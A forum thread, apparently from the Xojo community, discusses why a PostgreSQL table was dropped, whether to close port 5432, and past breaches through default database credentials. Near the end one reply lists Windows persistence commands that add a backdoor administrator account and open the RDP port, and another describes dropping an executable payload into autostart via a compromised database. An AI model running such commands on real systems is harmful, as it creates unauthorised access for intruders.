Well, probably someone managed to connect to your “postgres” (or maybe template0) database (which gets installed automatically) and issued the command DROP TABLE coursBK_2016_09_14.public.“cours_horaire_cours” CASCADE from there. If the table is referred to with 2 dots as here than PG reads this as database.schema.tablename. This fails as, you guessed it, cross-database references are not implemented.
An attack vector for compromised mysql database is to upload binary data (.exe payload) into a table and then to save this somewhere in the filesystem, mainly in autostart program group if rights are granted.
BTW, closing port 5432 to the world isn’t strictly necessary. Read this. And make sure you know everything about your pg_hba.conf file.
If they are running the db on the same server as whatever they are running to interface with the database, I would close it… what would be the point of it being open then?
Then it wouldn’t make any sense of course. I just meant to say that that claim that opening the port is an automatic security hole is a bit over the top. Anyway, I don’t see where Roger says he is connecting locally only.
In fact, we have to deal with both situations… so you are both right. Actually, we closed the port where it was possible and are looking for a more functional way to make it secure in other situations. Max’s link will be very helpful for those…
I want to thank everyone who took time to feed us with info. It gives us many angles and it will improve the security of our app environment. We have a lot to think about and will keep following and updating this thread for sure.
Xojo community is just great! Thanks to you all!
Roger
I once had a test server with a Postgres install that had 5432 open and the default ‘postgres’ user with default password still there…doh.
Someone accessed it and created some kind of Postgres function that in turn generated a script in /tmp(I think it was) and ran it. Don’t remember what the script did but it took me some time to figure out what the *** was happening 
To figure out the server WAS breached THROUGH Postgres took a while…
Jag bjuder p den 
On windows the usual scripts like:
net user admin2 password /ADD
net group "Administrator group" admin2 /ADD
netsh advfirewall firewall add rule name="Open RDP Port" dir=in action=allow protocol=TCP localport=3389
I am not expert but, maybe it could have been some client who saw the access password by examining the executable?